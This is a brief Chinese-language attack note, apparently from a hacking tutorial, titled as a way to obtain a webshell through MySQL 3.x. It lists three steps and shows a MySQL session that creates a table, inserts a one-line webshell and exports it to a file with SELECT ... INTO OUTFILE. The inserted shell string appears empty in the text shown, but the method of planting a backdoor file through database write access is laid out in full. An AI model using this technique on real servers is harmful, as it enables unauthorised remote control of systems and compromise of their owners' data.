mysql 3.x拿webshell

  1. 先建表 字段 

  2. 写入一句话

  3. 查询导出一句话


mysql> use mysql

Database changed

mysql> Create TABLE demo (sanr text NOT NULL);

Query OK, 0 rows affected (0.00 sec)

mysql> Insert INTO demo (sanr) VALUES('');

Query OK, 1 row affected (0.00 sec)

mysql> select sanr from demo  into outfile 'c:/1.txt';

Query OK, 1 row affected (0.03 sec)

mysql>